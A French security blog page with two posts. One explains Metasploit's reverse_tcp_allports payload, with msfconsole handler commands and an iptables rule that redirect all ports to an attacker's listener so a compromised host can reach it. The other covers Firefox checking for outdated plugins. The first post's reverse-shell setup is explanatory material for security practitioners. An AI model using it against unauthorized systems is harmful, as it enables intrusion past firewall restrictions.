Me contacter :

Nicolas Kerschenbaum

Metasploit se dote d'un payload permettant de tirer profit d'une mauvaise configuration Firewall

Du nouveau dans Metasploit ...
Rappelons-le, le célèbre framework d'exploitation Metasploit [1] permet principalement de tester et exploiter des vulnérabilités, aussi bien sur un système d'exploitation que sur un logiciel donné.

Deux composantes primordiales constituent ce framework : les codes d'exploitations, qui tirent profit des différentes vulnérabilités découvertes, et la charge utile: le payload, permettant d'exécuter le code désiré une fois la vulnérabilité exploitée.
Les payloads permettent de réaliser de nombreuses opérations telles que la mise en place d'un serveur VNC pour prendre le contrôle de la machine vulnérable en mode graphique, l'ajout d'un utilisateur sur le système, l'exécution d'un invité de console avancé tel que Meterpreter, etc.


Framework Metasploit

Ce framework vient d'intégrer récemment un nouveau payload [2] particulièrement intéressant. Ce dernier permet de jouer avec les règles du firewall afin d'abuser de règles trop laxistes.

En effet, les règles des firewalls au sein des entreprises sont au départ minutieusement étudiées de sorte qu'aucun flux non désiré ne puisse transiter à travers celui-ci. Les utilisateurs ne peuvent donc pas accéder à des ressources qui ne leur sont pas destinées, ou à utiliser des logiciels non désirés.
Cependant, au fil du temps, les impératifs métier ou les environnements de test nécessitent l'ouverture en urgence de certains flux, la plupart du temps assez laxistes, pour que tout soit fonctionnel le plus vite possible. Cependant, une fois les maquettes terminées, il n'est pas rare que certaines règles persistent au sein de la configuration du firewall.

Ce payload permet justement de tirer profit de ces règles oubliées ou mal conçues, afin d'obtenir un moyen de contrôle sur une machine présentant une faille de sécurité.


Lorsqu'un attaquant compromet une machine, deux possibilités s'offrent à lui pour s'y connecter et interagir avec elle. Tout d'abord le bind_shell. Cette méthode ouvre un port sur la machine compromise pour que l'attaquant se connecte sur celui-ci. Si la machine vulnérable est derrière un pare-feu ou un routeur, le port désiré ne sera donc pas forcément accessible par l'attaquant.


Notons égallement que les payloads de Metasploit utilisent le port 4444 par défaut. Ce port n'étant pas un port fréquemment utilisé et a de grandes chances d'être bloqué par un firewall situé entre la machine de l'attaquant et la machine vulnérable.




Principe du bind shell


Dans ce cas-là, il est préférable d'utiliser le reverse_shell. La technique consiste à forcer la machine compromise à se connecter sur la machine de l'attaquant plutôt que l'inverse. Cette méthode permet dans de nombreux cas de contourner le problème du routeur, voire du Firewall.

Cependant, que faire si le firewall bloque également ce flux sortant ?




Principe du reverse shell 


Un code malicieux a été exécuté sur la machine compromise, mais il n'est pas possible d'obtenir une interaction avec celle-ci : le résultat des commandes soumises par l'attaquant ne peut pas être visualisé... plutôt frustrant non ?

L'attaquant peut évidemment tenter d'utiliser les ports les plus communs tels que le 21, 22, 23, 53, 80, 110, 143, 443... mais passera surement à côté d'une règle autorisant un port exotique.

C'est là qu'intervient le nouveau payload windows/*/reverse_tcp_allports. Il permet de découvrir de façon automatique les ports non bloqués en sortie par le firewall.

Le payload windows/*/reverse_tcp_allports va forcer la machine compromise à se connecter sur le port 4444 de la machine de l'attaquant. Si ce port n'est pas joignable, il va alors tenter de joindre successivement et de façon exhaustive la machine de l'attaquant en partant du port numéro 1 jusqu'au 65535.

Pour cela, l'attaquant va tout d'abord mettre en écoute l'intégralité des ports d'une machine qu'il contrôle, afin de recevoir la session provenant de la machine compromise.
msf> use exploit/multi/handler
msf (exploit/handler) > set PAYLOAD windows/meterpreter/reverse_tcp_allports
msf (exploit/handler) > set LHOST ip.ip.ip.ip
msf (exploit/handler) > set LPORT 4444
msf (exploit/handler) > exploit -j
Évidemment, la machine de l'attaquant ne peut pas mettre l'ensemble de ses ports en écoute, c'est pourquoi il est nécessaire d'utiliser une seconde machine dédiée à cette tache.
La règle iptables suivante permet par exemple de rediriger l'ensemble des flux arrivant sur la machine dédiée, vers le port 4444 de la machine de l'attaquant.
# iptables -I INPUT -p tcp -m state --state NEW -d ip1.ip1.ip1.ip1 -j DNAT --to ip2.ip2.ip2.ip2:4444
ip1.ip1.ip1.ip1 est l'adresse ip de la machine dédiée à la réception des ports non bloqués par le firewall, tandis que ip2.ip2.ip2.ip2 est l'adresse ip de la machine de l'attaquant.

L'option set DisablePayloadHandler du nouveau payload permet de définir la configuration à adopter en fonction de la machine sur laquelle l'attaquant se situe (machine dédiée à l'écoute, ou machine de l'attaquant). Cette option aura alors la valeur true sur la machine de l'attaquant contrairement à la machine en écoute.



Principe du nouveau payload intégré à Metasploit 


Cette méthode est particulièrement intéressante d'un point de vue théorique, mais comporte toutefois un inconvénient de taille: sa lenteur !

En effet, afin de détecter un port bloqué, plus d'une minute peut être nécessaire. Ainsi, il faut parfois attendre plusieurs heures avant de découvrir un port autorisé par une règle laxiste...



Webographie

[1] http://www.metasploit.com/framework/
[2] http://blog.metasploit.com/2009/09/forcing-payloads-through-restrictive.html
[3] http://clinicallyawesome.com/post/196352889/blind-connect-back-through-restrictive-firewall

Firefox va encore plus loin dans l'analyse des versions obsolètes de plug-ins

Après le succès de son opération [1] visant à avertir les utilisateurs d'une version obsolète du lecteur Adobe Flash Player, Mozilla compte étendre cette action aux plug-ins les plus utilisés.

Rappelons-le, Firefox a lancé depuis ses versions 3.5.3 et 3.0.14, une campagne de prévention. Lorsqu'un utilisateur met à jour son navigateur Firefox, il est redirigé sur une page du site Mozilla lui indiquant que son navigateur a bien été mis à jour. A présent, Mozilla ne se contente plus de donner cette unique information, mais vérifie également si la version du lecteur Flash est à jour. Le plug-in Flash, fourni par Adobe, équipe près de 99% [2] des navigateurs. De nombreuses vulnérabilités critiques affectent des versions obsolètes, et sont la plupart du temps exploitées à des fins malicieuses (téléchargement de malware à l'insu de l'utilisateur).

Cette campagne d'avertissement a permis en seulement une semaine de mettre à jour près de 10 millions de lecteurs Flash sur les navigateurs internet [3] ! Un succès incontestable pour Mozilla...



10 000 000 d'utilisateurs sont allés sur le site d'Adobe via cette opération


Face à ce succès, Mozilla ne compte pas en rester là... La version 3.6 de Firefox permettra de vérifier de nombreux autres plug-ins tels que VLC, Java, Quicktime, Adobe Acrobat, Adobe Reader, ou encore Realplayer.
Une page de démonstration est dès à présent disponible [4] afin de tester ces futures fonctionnalités.




Page permettant de visualiser les plug-ins obsolètes installés


Mozilla propose une excellente solution permettant aux utilisateurs de mettre simplement à jour leurs plug-ins.
En effet, tous les plug-ins ne possèdent pas des mises jour automatiques et il est parfois difficile de savoir si la version utilisée est la plus récente.
Grâce à ce système, les navigateurs sont à présent un pilier dans la politique de patch management. Espérons que d'autres navigateurs Internet reprendront cette idée.



Webographie

[1] http://security-wave.blogspot.com/2009/09/les-nouvelles-versions-de-firefox.html
[2] http://www.adobe.com/products/player_census/flashplayer/
[3] http://blog.mozilla.com/metrics/2009/09/16/helping-people-upgrade-flash/
[4] http://www.mozilla.com/en-US/plugincheck/